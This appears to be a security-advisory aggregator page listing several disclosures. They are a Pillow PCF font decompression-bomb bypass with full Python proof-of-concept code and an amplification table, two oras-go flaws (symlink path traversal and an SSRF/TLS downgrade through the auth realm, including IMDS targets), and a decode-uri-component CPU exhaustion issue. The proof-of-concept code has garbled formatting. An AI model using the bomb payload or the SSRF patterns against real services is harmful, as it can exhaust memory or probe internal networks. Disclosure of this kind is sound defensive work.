from PIL.PcfFontFile import PcfFontFile from PIL.Image import decompressionbombcheck, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold

Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: decompressionbombcheck((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).name}") warnings.filterwarnings("ignore")

PCF binary constants PCFMAGIC = 0x70636601 PCFPROPS = 1 << 0 PCFMETRICS = 1 << 2 PCFBITMAPS = 1 << 3 PCFENCODINGS= 1 << 5

def buildbombpcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0)

# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

# Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmapsizes all = 0

# Encodings: char 0x41 ('A') → glyph 0 encoffsets = [0xFFFF]65 + [0] + [0xFFFF]62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"128, encoffsets)

secs = [(PCFPROPS, props), (PCFMETRICS, metrics), (PCFBITMAPS, bitmaps), (PCFENCODINGS, encodings)] hdrsize = 4 + 4 + len(secs) 16 out = struct.pack("<II", PCFMAGIC, len(secs)) offset = hdrsize for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for , sdata in secs: out += sdata return out

pcf = buildbombpcf(W, H) print(f"[] PCF file size : {len(pcf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")

tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) , peak = tracemalloc.gettracedmemory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/10242:.2f} MB") except Exception as e: , peak = tracemalloc.gettracedmemory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).name} after allocation") print(f" Heap peak: {peak/10242:.2f} MB") print(f" C-heap allocation of ~{WH//8//10242} MB occurred before exception")

Expected output: [Image.open() path] BLOCKED by DecompressionBombError [] PCF file size : 148 bytes [] Glyph size : 14000 x 14000 = 196,000,000 pixels [] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception

Amplification table:

| PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |

Impact - Availability: HIGH — up to 1.07 GB per glyph, no limit per font file - Confidentiality: None - Integrity: None - Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected - PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path - Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.1, resolveWritePath() in content/file/file.go uses a lexical filepath.Rel check for workingDir and does not account for symlink traversal, so when AllowPathTraversalOnWrite=false an attacker-controlled blob title through ocispec.AnnotationTitle such as out/pwn.txt can follow a workingDir symlink out - /some/outside/dir and cause pushFile() to create /some/outside/dir/pwn.txt outside workingDir. This issue is fixed in version 2.6.1.

1 / 3
Source: IBM
First published (updated )
Severity
2.1
SSRF
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

oras-go's auth.Client follows the realm URL from a registry's WWW-Authenticate: Bearer challenge without validating its scheme or host. The realm field is server-controlled by design in the OCI/distribution spec — registries legitimately point token requests at a separate auth endpoint (e.g. Docker Hub's registry-1.docker.io -> auth.docker.io), so cross-host realms on public DNS names are not in themselves a vulnerability. Two specific patterns, however, are never legitimate under any registry trust model and can be abused by a malicious or compromised registry (or a man-in-the-middle on a plaintext connection):

1. SSRF to internal networks. A realm of http://169.254.169.254/... (AWS/Azure IMDS), http://10.0.0.x/... (RFC 1918), or http://127.0.0.1/... causes oras-go running on a cloud VM or corporate workstation to issue outbound HTTP requests from inside the user's trust boundary to an endpoint the user did not choose. The user's stored credentials are attached to those requests, but the principal harm is the network primitive — probing internal endpoints from the client. On IMDSv1 the response body is recoverable from log channels; on IMDSv2 the probe itself can still be used for service discovery.

2. TLS downgrade. A registry contacted over https:// can return a realm with an http:// scheme, causing oras-go to send the user's credentials over plaintext to the token endpoint. This defeats the transport security the user chose when typing https://.

What is NOT claimed

This advisory does not claim that credential forwarding to an arbitrary public attacker host through a server-controlled realm is, on its own, a vulnerability. The distribution spec defines realm as a server-controlled field; a strict same-host or same-eTLD+1 enforcement would deviate from the spec and break legitimate split-host deployments. Operators who want defense-in-depth against cross-host realm forwarding can use the opt-in Client.TrustedRealmHosts allowlist (added separately).

Affected versions

oras.land/oras-go/v2 <= v2.6.0

Severity

Medium. Network attack vector, low complexity, no privileges required, user interaction required (victim runs an oras command against the malicious or MITM'd registry), unchanged scope. Confidentiality impact is limited — IMDS probe responses can disclose information, and TLS downgrade exposes the realm request to passive observers — but the attacker does not obtain credentials beyond what the malicious endpoint already controls.

Affected code

- registry/remote/auth/client.go — Client.Do() (bearer challenge handling) - registry/remote/auth/client.go — Client.fetchBearerToken() / fetchDistributionToken / fetchOAuth2Token

The realm parameter from parseChallenge is threaded through to http.NewRequestWithContext without scheme or host validation.

CWE

- CWE-918: Server-Side Request Forgery (SSRF) - CWE-319: Cleartext Transmission of Sensitive Information

Patch

registry/remote/auth/client.go now rejects realm URLs that:

- use a scheme other than http or https - use http when the registry was contacted over https (TLS downgrade) - use an IP literal in a loopback, link-local, private, or unspecified range, unless the registry itself was reached at the same hostname (so loopback / in-cluster deployments are unaffected)

Cross-host realms on public DNS names continue to be accepted.

Credit

Reported by bugbunny.ai.

1 / 3
Source: GitHub
First published (updated )
Severity
6.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:D/RE:M/U:Amber

Impact An attacker who can supply input to decodeUriComponent() (directly or via a dependency that uses this package on URL/query/path data) can cause excessive CPU usage and application unresponsiveness. This is an availability issue; there is no known memory corruption, data disclosure, or remote code execution impact.

Patches Upgrade to decode-uri-component@0.5.0.

Workarounds Limit the size of the input.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203